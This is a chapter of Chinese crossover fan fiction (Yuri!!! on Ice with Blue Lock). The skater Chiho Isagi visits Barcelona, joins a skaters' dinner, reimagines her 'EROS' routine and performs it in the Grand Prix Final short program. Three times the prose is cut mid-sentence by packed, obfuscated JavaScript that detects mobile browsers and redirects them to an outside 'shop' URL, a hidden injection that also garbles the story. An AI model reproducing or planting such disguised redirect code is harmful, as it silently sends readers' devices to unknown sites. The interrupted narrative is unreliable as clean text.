“在。”凛从房间里走出来,换了一身干净的便服,头发好像还特意整理过。 千穗看向冴。 冴靠在门框上,依旧是那副淡淡的模样。 “走吧。” . 四个人走在巴塞罗那的街道上。 阳光很好,把整座城市照得金灿灿的。街上圣诞节的装饰更多了,商店橱窗里摆着各式各样的礼物,偶尔能听见街头艺人演奏的圣诞歌曲。 世一拿着相机到处拍,一会儿拍街边的建筑,一会儿拍路过的鸽子,一会儿回头拍姐姐。 “姐姐!看这边!” 千穗下意识转头—— “咔嚓!” 世一满意地看着相机屏幕。 “这张好看!” 千穗:“……” 旁边的凛发出一声很轻的笑。 千穗瞪他一眼。 凛立刻板起脸,但那嘴角分明还弯着。 冴走在最前面,偶尔回头看一眼,确认三个人还跟着—— 由于他在西班牙待得最久,今天的游玩攻略由他负责。 “冴哥!”世一跑上去,“我们接下来去哪儿?” “教堂。” “教堂?” “嗯。”冴点点头,“巴塞罗那最有名的那个。” 世一愣了一下,然后反应过来。 “圣家堂!” “是那里,圣诞节会很热闹。”冴表示肯定。 . 圣家堂门口的人很多。 排队的长龙蜿蜒了好几圈,各种肤色、各种语言的游客挤在一起,举着手机、相机,对着那座尚未完工的教堂拍照。 千穗站在队伍里,看着眼前这座高迪的杰作。 月光透过彩色玻璃窗洒下来,在地面上投下斑驳的光影。那些繁复的雕刻、高耸的尖塔、流动的线条——一切都像是在诉说一个关于信仰的故事。 “姐姐。”世一凑过来,“你说会不会在这里碰见认识的人,比如其他选手?” 千穗愣了一下。 “为什么这么问?” “你不是说今天大家可以放松一下吗?这么热门的景点肯定会有人来吧。”世一理所当然道。 千穗还没来得及回答,就听见身后传来一个熟悉的声音。 “——千穗?” 她回头。 维克托·尼基福罗夫站在几步开外,银灰色的头发在月光下闪闪发光,脸上带着那种标志性的笑容。 他旁边站着胜生勇利。 两个人貌似是刚购物完,拎着许多袋子,手上—— 千穗的目光落在他们的手上。 维克托的左手无名指上,戴着一枚金色的戒指。 勇利的右手无名指上,也戴着一枚同款的。 千穗愣了一下。 然后她露出了一个意味深长的姨母笑。 “哟。” 维克托眨眨眼,笑容更深了。 “千穗这个表情,好像什么都知道了呢。” “当然。”千穗点点头,“我又不瞎。” 勇利反应过来什么,脸瞬间涨红。 “千、千穗!那个只是我选的祈福——” “没事没事。”千穗摆摆手,“我懂的。” 她顿了顿,又补充道:“恭喜。” 维克托笑起来。 “谢谢。” 勇利的脸更红了。 旁边,世一好奇地看着这两个人,又看看姐姐的表情,小声问:“姐姐,他们……是那种关系吗?” 千穗点点头。 世一眨眨眼,然后露出了一个“原来如此”的表情。 凛站在旁边,表情有点宕机,视线在两人身上反复漂移,似乎有点难以理解状况。 冴靠在一边,目光在那两枚戒指上停了一下,然后移开。 . 告别维克托和勇利之后,四个人继续在教堂里逛。 月光透过彩色玻璃洒下来,在千穗的头发上落下一片朦胧又斑斓的光影。 她抬头看着那些彩绘玻璃,脑子里却在想别的事。 维克托和勇利——终于戴上戒指了呢! 嘿嘿。 . 从教堂出来,天色暗得彻底。 街边的灯次第亮起,圣诞节的彩灯在夜色中闪闪发光。空气里飘着烤栗子的香味,偶尔能听见远处传来的圣诞歌曲。 “饿了。”世一揉揉肚子,“姐姐,我们去吃饭吧。” 千穗点点头,看向冴。 “你知道附近有什么好吃的吗?” 冴想了想。 “攻略上有一家,不远。” “那就去那家。” . 那家餐厅就在街道上,门面不大,但里面很热闹。 千穗推门进去的瞬间,就看见了一个熟悉的身影。 金色的头发,黑色的外套,正对着面前的人说着什么。 尤里·普利赛提。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326700|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐在靠窗的位置,对面是一个看起来比他成熟不少的男性——黑发,五官深邃,带着一股冷冽的气质。 奥塔别克·阿尔京。 哈萨克斯坦选手,原著里主动和尤里交友的人。 她也认识,甚至比尤里更早和对方交换联系方式—— 毕竟十岁一起参加的夏令营训练,只是尤里忘了,千穗则当时就和奥塔别克交换了联系方式(虽然也不怎么聊天)。 千穗没想到能在这里碰见他俩,挑了下眉: “尤里奥?” 尤里抬起头,看见她,愣了一下。 “千穗?” 然后他的目光越过她,落在她身后的三个人身上、自动识别身份。 洁世一(千穗弟弟)。貌似叫凛的人(她弟弟朋友)。 还有—— 糸师冴。 尤里的眼睛微微眯起。 “你男朋友?” 千穗差点被自己口水呛到。 “不是!” 尤里“哦”了一声,收回视线,表情看不出信了没有。 旁边的奥塔别克朝千穗点了点头,算是打招呼。 千穗点点头回应,然后目光扫过餐厅,然后看见橱窗外两个熟悉的身影正趴在那儿看。 奥川美奈子、胜生真利。 两人后边,维克托和勇利的身影也出现了。 千穗眨眨眼。 ……碰上剧情里的赛前聚餐了? . 后面莫名其妙被拉入男单选手的聚餐了(维克托和勇利把披集还有克里斯也喊来了)。 不过这次不止男单哦。 “千穗——!” 就是这样,一个金发少女冲进来,后面跟着两个气喘吁吁的女单选手。 莱莉·福克斯。 她穿着件亮黄色卫衣,扎着高马尾,整个人散发着“我超有活力”的气场。一进门就冲动千穗的面前。 “找到你了!” 千穗:“……欸?” 莱莉一把抓住她的手,目光扫视几个男单选手。 “真狡猾啊,你们男单居然在赛前聚餐!我们也不能落后!” 她说着,回头朝门口喊了一声: “米拉!萨拉!这边!” 米拉·芭比切娃和萨拉·克里斯皮诺从门口走进来,脸上都带着“我就知道会这样”的表情。 米拉冲千穗挥了挥手。 “小千可是让我好找,不过你果然和维克托他们在一块呢——旁边是家人吗?” “额,是的。” 千穗点头,忍不住瞥了眼自己身边的人。 世一眼睛亮晶晶的,一脸“姐姐的朋友好多好厉害”的表情;凛表情有点僵硬,明显不太适应这种陌生人的场合;冴依旧是那副淡淡的模样,看不出在想什么—— 她原本是考虑三人和这些选手不熟,参与这次聚餐可能会尴尬,问过他们要不要换个地方吃饭的,结果世一和冴都拒绝了这个提议(“我也想了解姐姐的交友啊!”世一言),凛也就跟着拒绝了。 “女单选手也要一起吗?”克里斯在旁边笑道,“人都这么多,把JJ和他未婚妻也叫过来吧。” “当然!”莱莉肯定道。 于是,美国狐狸的超绝行动力、说干就干打电话把另外两个女单选手也叫过来,在男单旁边又开了一桌。 “呜呜呜呜想我死都行!我该给多少钱!”花滑迷美奈子和真利超级感动。 . 最后场面就变成了这样—— 男单选手坐了一桌:披集、克里斯托夫、胜生勇利、维克托、奥塔别克、尤里,还有不知道为什么混进去的真利和美奈子。 女单选手坐了一桌:千穗、莱莉、米拉、萨拉,还有叫来的另外两位女单选手。 而千穗的家人朋友——冴、世一、凛——和JJ与他女朋友一桌,另外两桌人夹在中间,形成一个微妙的“夹心层”。 千穗坐在女单那桌,但视线总往旁边飘。 冴正拿着菜单,在和世一说什么。世一点头,然后指着菜单上的图片。凛坐在旁边,表情依旧有点僵硬,但耳朵明显在听他们说话。 “千穗——!” 莱莉的声音把她拉回来。 “你在看什么?” 千穗收回视线。 “没什么。” 莱莉顺着她的目光看了一眼角落,然后露出一个意味深长的笑容。 “那个小豆色头发的,是你男朋友?” 千穗头疼道: “不是啦……怎么感觉谁见了都要问一句啊?” “哦——”莱莉拖长声音,那表情明显不信。 旁边的米拉笑着插嘴:“那是小千的幼驯染,踢足球的,在西班牙训练。” 莱莉眼睛亮起来。 “居然是幼驯染吗?!” 热爱岛国文化的她当然知道这是什么意思。 “嗯哼。”米拉点点头,“从小一起长大呢,去年大奖赛也来看了。” 莱莉转头看向千穗,眼神揶揄: “从小一起长大,现在在同一个国家,还特地来看你比赛——” 她顿了顿,语气格外八卦。 “这不是标准的恋爱剧本吗?” 千穗面无表情地看着她。 “你看太多偶像剧了。” “我才没有!”莱莉反驳,“这是现实!现实比偶像剧更精彩!” 千穗叹了口气,决定换个话题。 “你自由滑准备跳什么?” 莱莉的注意力果然被转移了。 “赛前打探敌情吗?没想到千穗这么狡猾——不过也没什么不能说的,当然是四周跳啊!”她理所当然地说,“我准备了两个四周,4F和4S哦。你呢?” “4F和4S吗?看来我需要在短节目上下苦功夫了呢。”千穗同样坦然道。 莱莉盯着她看了两秒,露出一个了然的表情。 “嗯,你是肯定会上4S和4T的~但看来基础分还是我更胜一筹哦~” 旁边的米拉听不下去了: “喂喂,你们不要旁若无人地聊起来啊,我们这些不会四周跳的可是备受打击了。” “Sorry~”×2 23. 领悟 总之在经历谈论勇利去年喝醉了和一堆男单选手斗舞(千穗要了他的囧照)、起哄维克托和勇利订婚、JJ出场打诨说“拿到金牌要结婚的人是我”后这场赛前聚餐进入尾声。 而聚餐正式结束的时候,巴塞罗那的夜色已经很深了。 一群人浩浩荡荡地走出餐厅,在门口分道扬镳。维克托和勇利被美奈子和真利拉着往另一个方向走,披集和克里斯托夫约好明天一起热身,JJ揽着未婚妻的肩膀,还在错愕“哎?我开玩笑的”。 尤里从千穗身边走过的时候,脚步顿了一下。 “后天短节目,”他说,声音硬邦邦的,“别输。” 千穗看了他一眼。 “你也是,而且你明天就比了,更不能输哦。” 尤里“切”了一声,对奥塔别克说了句“走了”。奥塔别克回头朝千穗点了点头,算是道别。 莱莉蹦蹦跳跳地凑过来,给了千穗一个大大的拥抱。 “比赛见!我会全力以赴的!” 千穗拍了拍她的背。 “我也是。” . 回酒店的路上,洁世一很高兴能见到千穗的朋友。 “姐姐的朋友都很有趣啊!”他为自己姐姐即使在国外也不孤单而高兴。 “而且——” 他顿了顿,抬头看她。 “姐姐的朋友,好多啊!” “世一也有很多朋友啊……” 千穗眯起眼笑着回话,看见他的表情,却愣了一下。 世一的眼睛亮晶晶的,语气里带着一种她不太熟悉的情绪——不是羡慕,不是嫉妒,而是……骄傲? “有这么多人支持姐姐,真好。” 千穗看着他,笑容更加柔和了。 “……嗯。” 旁边的凛也点头,语气一本正经: “千穗姐确实人缘很好。” 千穗闻言,转头望向他。 凛一脸理所当然: “我哥也这么说过。” 千穗眨了眨眼。 冴说过这种话? 她下意识看向走在最前面的冴。 冴的背影看不出什么东西。 但千穗总觉得,他的脚步停顿了下。 . 回到酒店,洁父洁母已经等在总统套房的客厅里了。 “回来了?”洁母迎上来,“玩得怎么样?” “超开心!”世一抢着回答,“见到了好多姐姐的朋友!还有维克托先生!勇利先生!还有莱莉!还有……” 他掰着指头数,数到一半就乱了。 洁母笑着揉了揉他的脑袋。 “好好好,先去洗澡吧,一身汗。” “好——” 世一拖着凛往房间跑。 凛被他拽得踉跄两步,回头看了自己哥哥。 冴没什么表示。 洁父走过来,拍了拍千穗的肩膀。 “就要比赛了,紧张吗?” 千穗想了想。 “还好,男单先比,我还能准备几天。” “那就好。”洁父笑了笑,“不紧张就好。” 他顿了顿,又补充道:“不管结果怎么样,爸妈都为你骄傲。” 千穗笑起来: “谢谢爸。” . 等所有人都回房间之后,千穗洗了个澡,换上睡衣,在客厅里坐了一会儿。 她睡不着。 后天就是女单短节目了。 她翻出那套一直没用过的考斯滕——黑白色的,搭配《EROS》的那套。 这是她自己设计、请赞助商朋友们制作的,从四月就开始准备。黑色的底,白色的羽毛纹样,从肩胛骨一直蔓延到裙摆。不对称的设计,左边是长袖,右边是无袖,露出一小截肩膀。 很漂亮。 但她一直没用过。 因为—— 【还是不甘心吗?】 白鸦的声音忽然在脑海中响起。 千穗愣了一下。 然后她叹了口气。 [是啊。] 她把考斯滕放在沙发上,拿起遥控器,打开电视。 屏幕亮起来,她切换到投屏模式,点开几个视频。 维克托的《EROS》。 勇利的《EROS》。 还有她自己的《Agape》。 她靠在沙发上,看着那些画面依次闪过。 俄罗斯站的时候,她的《Agape》全clean了,并且做到了她能做的最佳演绎。自由滑的《红磨坊》也逐渐找到感觉。 但短节目—— 她已经给了观众和裁判那么多惊喜,包括两次《Agape》的演绎。就算再clean,还能给出更多吗?还能让人眼前一亮吗? 而她真正想用的,是《EROS》。 可她找不到感觉。 “□□之爱”。 她两辈子都没谈过恋爱。 她根本不知道那是什么感觉。 电视上,勇利的《EROS》正在播放。 那个版本的《EROS》和她不一样——勇利是把自己变成“被注视的对象”,用女性的姿态、欲拒还迎的眼神,引诱观众去看他。 很厉害。 但她做不到。 不是技巧的问题,是……她不知道怎么把自己变成那样。 她试着分析过,试着模仿过,甚至试着把自己代入某种情境——但每次滑完,都觉得自己在演一个不存在的人。 那不是她。 千穗靠在沙发上,思绪开始乱飞。 ……话说回来,日本选手好像都喜欢夜鹰纯更多一些。勇利这么坚定地喜欢维克托,确实少见。是剧情的发力吗?还是说维克托真的有某种特殊的魅力? 她想起今天聚餐时维克托和勇利手上的戒指。 那两枚戒指在灯光下闪闪发光。 她想起维克托看勇利的眼神。 那种眼神,她好像没见过几次。 …… “在苦恼吗?” 一个声音忽然从身后传来。 千穗吓了一跳,猛地回头。 糸师冴站在客厅门口,身上穿着宽松的居家服,小豆色的头发还有点湿,显然也是刚洗完澡。 “你怎么还没睡?” “听见声音了。”冴走过来,在她旁边的沙发上坐下,“你呢?” “……睡不着。” 冴看了她一眼。 没说话。 但也没走。 两个人就这样并肩坐着,看着电视上刚好播到她跳的版本。 过了一会儿,冴开口。 “那是你的短节目?” “不是。”千穗摇摇头,“那是维克托原本给勇利的《EROS》,我只是尝试过改编版……我短节目是《Agape》。” 冴盯着屏幕看了一会儿。 “你前两站的短节目是?” “《Agape》。” 千穗觉得他一定看过视频,明知故问,但还是回答了。 冴点点头,没再问。 又过了一会儿,千穗忍不住开口: “我其实更喜欢《EROS》。” 冴转头看她。 “但滑不好。”千穗盯着屏幕,“找不到感觉。” 冴沉默了两秒。 “什么感觉?” 千穗想了想,试图解释。 “就是……那种感觉。□□之爱。维克托的版本很张扬,勇利的版本很……很勾人。但我不行。我不知道该怎么把自己变成那样。” 冴没说话。 千穗继续说:“勇利的方法我试过,但那是他的方法,不是我的。维克托的方法更不适合我。我不知道该怎么找到属于自己的《EROS》。” 她说完了。 客厅里安静了几秒。 然后冴开口。 “演绎情感什么的,”他说,声音很平静,“归根结底,不就是为了让裁判和观众注视你吗?” 千穗愣了一下。 冴看着她,那双绿色的眼睛里没有什么特别的表情,但说出来的话却让人无法忽视。 “你滑冰的时候,不就是想让所有人都看着你吗?” “……嗯。” “那不就够了。” “不够。”千穗摇头,“《EROS》不是单纯的‘被注视’,是那种——那种——” 她卡住了。 冴替她接下去。 “美丽地破坏其他选手想要胜利的欲望。” 千穗愣住了。 冴看着她,语气依旧平静。 “不就是这个吗?” 千穗张了张嘴,不知道该说什么。 美丽地破坏……其他选手想要胜利的欲望。 她想起自己每次站在冰上的感觉——那种想要赢、想要征服、想要让所有人都看着她的冲动。 那不是《Agape》。 那是—— “这不就是你一直在做的事吗?” 冴站起身。 “运动员的生物钟很重要。”他说,“早点睡。” 然后他转身,往房间走去。 走到门口,他停下脚步。 没回头。 “后天的比赛,我会看的。” 然后他推门进去,消失在门后。 . 客厅里只剩下千穗一个人。 她坐在沙发上,盯着冴离开的方向,脑子里一片混乱。 美丽地破坏。 其他选手想要胜利的欲望。 这不就是你一直在做的事吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326701|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 她低头看着自己的腿。 这双腿在冰面上划过无数次,滑出过无数个完美的弧线。每一次落冰,每一次旋转,每一次定格—— 她在做什么? 她—— 忽然,脑海中浮现出一些画面。 那是《蓝色监狱》的漫画。 她看过很多遍了。世一在里面的每一场比赛,每一次进化,每一次吞噬对手的瞬间—— 吞噬。 洁世一在球场上吞噬着一切。对手的防守,队友的传球,甚至是他自己的迷茫——他把这些都吞下去,变成自己的养分,然后进化成更强的存在。 千穗盯着电视屏幕。 屏幕上,勇利的《EROS》已经播完了,现在是另一个视频。 不是她存的任何一个。 是—— 手机响了。 她拿起来一看,是夜鹰纯发来的消息。 【纯前辈:[视频]】 【纯前辈:这才是你想要滑的】 千穗愣了两秒。 然后她点开那个视频。 画面里是夜鹰纯。 他站在冰面上,穿着那身标志性的黑色训练服,头发有点乱,表情淡淡的。 音乐响起。 《EROS》。 但和勇利的不一样。 和维克托的也不一样。 他的身体动了。 冰刀切过冰面的瞬间,千穗的呼吸都停了一瞬。 那是—— 吞噬。 她忽然明白了。 夜鹰纯的《EROS》不是“引诱”。 是“吞噬”。 他吞噬着冰面上的一切——灯光、音乐、观众的目光、甚至是他自己的情感。他把一切都吞下去,变成自己的一部分,然后在冰面上释放出来。 那不是爱。 那是—— 牺牲。 最原始的、为祭祀而宰杀的牺牲。 纯粹的、完整的、被献祭的存在。 他看着镜头的眼神里没有欲望,只有一种冰冷又炙热的吸引力——那种“你必须看着我,你必须被我吞噬”的绝对。 千穗盯着那个画面,手指不自觉地攥紧了沙发垫。 手机屏幕暗下去。 但她还在看着那个方向。 美丽地破坏。 吞噬。 绝对的吸引力。 只是□□、色气……这么肤浅的理由,就是你不爱我的原因? 你们怎么能不爱我? 你们必须爱我。 你们只能注视我。 千穗忽然明白了。 她不是要演绎“□□之爱”。 她是要演绎—— 她是冰上绝对的胜者。 她不止是承载他人的爱意。 她要吞噬一切。 吞噬一切目光。 让所有人都只能看着她。 这就是她的《EROS》。 . 客厅里很安静。 电视屏幕已经自动锁屏了,只剩下墙上挂钟的滴答声。 千穗坐在沙发上,盯着那套黑白色的考斯滕看了很久。 然后她站起身,把考斯滕收好,关掉电视,往房间走去。 走到门口,她忽然停下脚步。 回头看了一眼。 客厅里空荡荡的,只有月光从窗户洒进来,在地板上落下一片银白色的光。 她想起刚才冴说的话。 “这不就是你一直在做的事吗?” 她想起夜鹰纯的视频。 那种吞噬一切的目光。 她想起世一在漫画里的每一次进化。 吞噬,然后变得更强。 千穗站在门口,看着那片月光。 然后她笑了。 很轻的,几乎听不见的那种笑。 . 第二天早上。 世一第一个起床,冲进客厅的时候,发现姐姐已经坐在沙发上了。 穿着运动服,拎着装冰鞋的包,头发扎得整整齐齐。 “姐姐?你这么早就起来了?” 千穗转过头,冲他笑了笑。 “嗯。” 世一看着她,总觉得姐姐今天有点不一样。 但具体哪里不一样,他又说不上来。 “那个……”他挠挠头,“总之比赛加油啊!” 千穗站起身,走到他面前,伸手揉了揉他的脑袋。 “知道了。” 她顿了顿。 “总决赛的短节目,会是你们从没见过的。” 世一愣了一下。 “欸?” 但千穗已经背起包,往门口走了。 她将进行最后的训练、更改短节目的训练。 24. 短节目 男单比赛,短节目尤里突破了维克托创下的世界纪录。 勇利也是,最后一跳是维克托曾经的经典动作4F……即使手触冰了,将这个跳跃放在体力将近的最后、也依然令人钦佩。 “很精彩的比赛啊。” 特意赶来看千穗和米拉比赛的雷奥尼多面露欣赏(因为本次总决赛只有千穗和米拉的编舞有雷奥尼多参与)。 他随即看向即将上场的千穗和一旁臭脸的雅科夫,“临时换成新的短节目编舞,雅科夫不反对吗?” “我反对有什么用?他们这群天才可最讨厌只听教练的!”雅科夫双手环胸。 雷奥尼多听他这么说着,观察他的表情,却不觉得是恼火的样子。 千穗双手合十,歪了歪头: “嘛,拜托了,雅科夫就让我再任性一次吧~” “哼!” … 米拉的短节目结束—— “Next skater: Chiho Isagi, Japan.” 广播声响起,冰场的灯光暗下来。 观众席再次陷入等待的寂静。 洁千穗站在冰场入口,深吸一口气。 她身上穿着那套黑白色的考斯滕——不对称的设计,左边长袖覆盖到手腕,右边完□□露,露出一小截肩膀。黑色的底,白色的羽毛纹样从肩胛骨蔓延到裙摆,在昏暗的灯光下泛着幽微的光。 她低头看了一眼冰面上自己模糊的倒影。 今天,她要吞噬一切。 . 灯光重新亮起的瞬间,她踏上冰面。 不是滑进去的。 是走进去的。 一步一步,冰刀磕在冰面上,发出清脆的声响。那声音在安静的场馆里格外清晰,像是某种宣告。 观众席传来轻微的骚动。 没有人见过这样的开场。 洁千穗走到冰场中央,站定。 她没有摆出任何姿势。 只是站着。 低着头。 像一个等待献祭的祭品。 又像一个即将吞噬一切的猎人。 . 音乐响起。 《EROS》。 但和所有人听过的版本都不一样。 维克托和勇利坐在观众席上,眼睛微微睁大。 那是原曲,但节奏被重新剪辑过——开头慢了半拍,留出了一个呼吸的空隙。 就在那个空隙里,千穗抬起头。 她的眼睛。 那双蓝眼睛在灯光下亮得惊人,但亮的不是光,是某种更灼热的东西。 她看着裁判席。 看着观众席。 看着镜头。 看着所有人。 那一刻,整个场馆的人都有同一个感觉—— 她在看我。 她只看着我。 . 然后她动了。 第一个动作不是滑行,是一个缓慢的抬手。左手抬起,右手抬起,手臂在头顶交叠,然后缓缓分开,像在拉开一扇看不见的幕布。 冰刀切入冰面。 滑行开始了。 那滑行和《Agape》完全不同。《Agape》是温柔的、承载的、如羽毛般轻盈的流动。而现在的滑行—— 是掠夺。 她的冰刀切过冰面,每一道弧线都像是刻进去的,不是划过,是刻入。冰屑飞溅的轨迹都比平时更锋利,在灯光下像散落的碎钻,又像被撕裂的月光。 观众席安静得能听见呼吸声。 没有人想打破这一刻。 因为所有人都被她吸进去了。 . 第一个跳跃,依旧是—— 3A。 左前外刃切入冰面,膝盖蓄力,摆臂,腾空—— 但和《Agape》不一样。 《Agape》的3A是飞升,是轻盈地离开地面,是天使的羽翼。 而现在的3A—— 是征服。 腾空的瞬间,她的身体在空中划出一道近乎完美的抛物线。不是飞,是占领。那一瞬间,她占据了整个冰场上方的空间,占据了所有人的视线,占据了空气中每一粒漂浮的尘埃。 落冰。 冰刀切进冰面的声音,清脆得像敲碎什么。 不是玻璃。 是观众的心防。 观众席爆发出惊呼。 但惊呼只持续了一秒,就被更深的安静吞没。 因为她在笑。 落冰的瞬间,她嘴角弯起来,那笑容极淡、极浅,但那双蓝眼睛里燃烧着的东西—— 那是绝对的自信,是“你们只能看着我”的笃定。 . StSq,接续步。 冰刀切过冰面的声音连绵成一条线,她在冰上画出的不是图案,是牢笼。 她用冰刀把整个冰场圈起来,把所有观众的目光圈起来,把自己圈在中央—— 不,不对。 她才是那个掌控牢笼的人。 观众席第三排。 糸师冴坐在那里,和周围激动的观众截然相反,他的表情和往常没什么两样,一如既往的淡漠。 但他的手—— 他的手不知什么时候攥紧了膝盖上的围巾。 藏青色的。她送的那条。 . CCoSp,换足联合旋转。 她把自己转成一个模糊的影子。 但和《Agape》不一样。《Agape》的旋转是收翅,是安静,是天使降落人间的最后仪式。 而现在的旋转—— 是绽放。 不是花朵那种温柔的绽放。 是火焰那种侵略性的、灼人的绽放。 旋转的速度越来越快,越来越快,快到她整个人变成一道黑白交织的光。那光在冰面上旋转,把周围的一切都吸进去——灯光、音乐、观众的目光、甚至时间本身。 FSSp,跳接蹲转。 旋转的速度慢下来,慢下来。 她蹲在冰面上,一只手撑着冰,另一只手缓缓抬起。 抬头。 看向观众席。 那一瞬间,所有人都屏住了呼吸。 因为那个眼神—— 不是请求被爱。 是宣告主宰。 . 3Lz+3T,勾手三周接后外点冰三周。 起跳、落冰。 仿佛理所当然。 每一次落冰都比上一次更稳,每一次起跳都比上一次更高。 那不是跳跃。 那是征服的宣言。 3F,飞利浦三周。 起跳的瞬间,她的身体轻盈得不像在承受地心引力。空中三圈转完,落冰的瞬间,她甚至有余力在落冰后多滑出半米的弧线——那半米,是她对冰面的占领。 滑出的瞬间,她转头看向裁判席。 那一眼里没有挑衅,没有诱惑。 只有一句话: 看好了。 那双蓝眼睛里燃烧着的火焰,比任何时候都明亮。 . ChSq,编排步法。 最后的步法。 冰刀切过冰面的声音变成一首诗,一首关于征服与掠夺的诗。她的身体随着音乐起伏,每一个动作都在诉说—— 看我。 看我。 只能看我。 最后一个音符落下前,她滑到冰场中央,站定。 不是《Agape》那种安静的、温柔的、承载着爱的姿态。 是另一种姿态。 微微仰着头,手臂自然下垂,但那双眼睛—— 那双眼睛看着所有人。 不是请求。 是宣告。 我在这里。 我主宰这里。 . 冰场安静了。 安静了很久。 久到千穗以为自己的心跳声会被全场听见。 然后—— 掌声。 那从安静中爆发出来的、像潮水一样涌过来的掌声。 目之所及,所有人都在为她鼓掌、起身、欢呼。 甚至连入口处即将上场的莱莉也是如此。 洁千穗站在冰面中央,胸口剧烈起伏,汗从额角滑下来,滴在冰面上。 她看着那些站起来的人。 忽然想起冴昨晚说的话。 “这不就是你一直在做的事吗?” 是的。 她一直在做这件事。 . 她弯下腰,把手放在冰面上。 这熟悉的、冰凉的温度似乎也因她的心在燃烧,而转化为炙热。 …… 唯一在千穗后面出场的莱莉,短节目分数和千穗差两分,位列第三(第二是米拉)。 这次女单比赛,裁判给的P分都很低,强烈怀疑是有意控分,大家的分数70—75阶梯排序,跟强迫症排的一样。 “啊啊啊啊啊可恶!都怪千穗的表演太出色了!太搞人心态了!”莱莉整个人挂在千穗背上,下巴抵在她肩膀上,语气里带着控诉,但那双眼睛亮得惊人。 “明明之前还在SNS上说《EROS》找不到感觉,结果突然来这么一出——这不是骗人吗!” “嘛,才没有骗人,都说了让你注意我的短节目啦~OGG选手怎么能被我破坏心态呢~”千穗被她压得往前倾了倾,伸手托住背上的人。 “不管不管~反正千穗太狡猾了!”虽然是这么控诉着,但莱莉显然没有完全被千穗打败。 相反,她调整好后,被激起了斗志。 “但是——决定比赛的关键还是自由滑哦!自由滑我可不会输给千穗了!” 莱莉从千穗背上跳下来,冲她挥了挥拳头,神情中是不加掩饰的兴奋。 “就这样,再见!” 她“哒哒哒”地跑走了,金色马尾在身后甩来甩去,像一只斗志昂扬的小狐狸。 千穗站在原地,看着她的背影消失在通道尽头,嘴角弯起来。 “嗨嗨~再见~” . 她转过身,发现尤里不知道什么时候站在了旁边。 双手插在口袋里,表情一如既往地拽,但那双蓝绿色的眼睛正盯着她,眼神复杂得像是看见了什么不可思议的东西。 “……你那是什么表情?”千穗问。 尤里沉默了两秒。 然后他开口,声音硬邦邦的: “《EROS》。” “嗯。” “你的。” “嗯嗯。” “你什么时候练的?” “前天晚上决定的,昨天练的。” 尤里的表情僵了一瞬。 “……你认真的?” “认真的啊。”千穗理所当然地点头,“不然你以为呢?” 尤里盯着她看了两秒。 然后他“切”了一声,别过脸去。 “……疯子。” 再一次得到他这样的评价,千穗笑起来。 “夸奖我就收下了~” “我没夸你!” “我知道~但尤里不也和我一样嘛~” 尤里瞪她一眼,但那双眼睛里没有怒气,只有一种复杂的、难以言说的情绪——大概是“这个人是真的疯”和“但是真的好厉害”之间的某种混合体。 他张了张嘴,似乎想说什么。 但最后什么都没说。 只是伸出手,在她脑袋上拍了一下——很轻,像拍小猫那种。 “自由滑,别输。” 然后他转身走了、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326702|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步伐超快地走了。 千穗这下是真愣住了,随即她立刻挥手朝他大喊: “尤里也是!自由滑也要加油!一起拿下金牌呀!” “不用你说!” 尤里一拉兜帽,走得更快了。 留下千穗在那边开怀大笑,向另一个方向的出口走。 . 走到一半,千穗被维克托和勇利拦住了。 维克托的笑容比平时更深,那双蔚蓝色的眼睛里闪着某种光。 “千穗——” 他拖长声音。 “那个《EROS》是怎么回事?和最后给我看的版本差距很大呢。” 勇利在旁边点头,表情认真得有点过分。 “非常厉害。和我的完全不一样,和维克托的也不一样。那种感觉……像是……” 他顿了顿,似乎在寻找合适的词。 “像是你在吞噬一切。” 千穗看了他一眼。 吞噬一切。 这个词,居然能从勇利嘴里说出来呢。 “谢谢。”她说。 维克托眨眨眼。 “只是谢谢?” “不然呢?” 维克托笑起来。 “好吧好吧,千穗还是那个千穗。”他顿了顿,语气变得认真了一点,“不过,真的很厉害。自由滑也要加油。” 千穗点点头。 “嗯。” . 走出冰场的时候,她看见了那群熟悉的身影。 洁世一第一个冲过来。 “姐姐——!” 他跑得飞快,差点撞到她身上,在最后一步堪堪刹住。 “姐姐!太厉害了!那个短节目!那个开场!那个跳跃!那个眼神!”他语无伦次地说着,眼睛亮得像两颗星星,“我都看呆了!全场都看呆了!” 千穗笑着揉了揉他的脑袋。 “那是当然哦,我超厉害的。” 洁父洁母跟在后面,脸上都是那种骄傲又欣慰的笑容。 “滑得真好。”洁父说。 “嗯,特别特别好、不,是最好的!”洁母十分喜悦地补充。 千穗看着他们,忽然觉得比赛结束就能看见家人,真好啊。 她用自己最坦然的笑容道: “谢谢爸妈~我当然是最好的!” . 凛站在稍远一点的地方,双手插在口袋里,表情看着想跟她说什么。 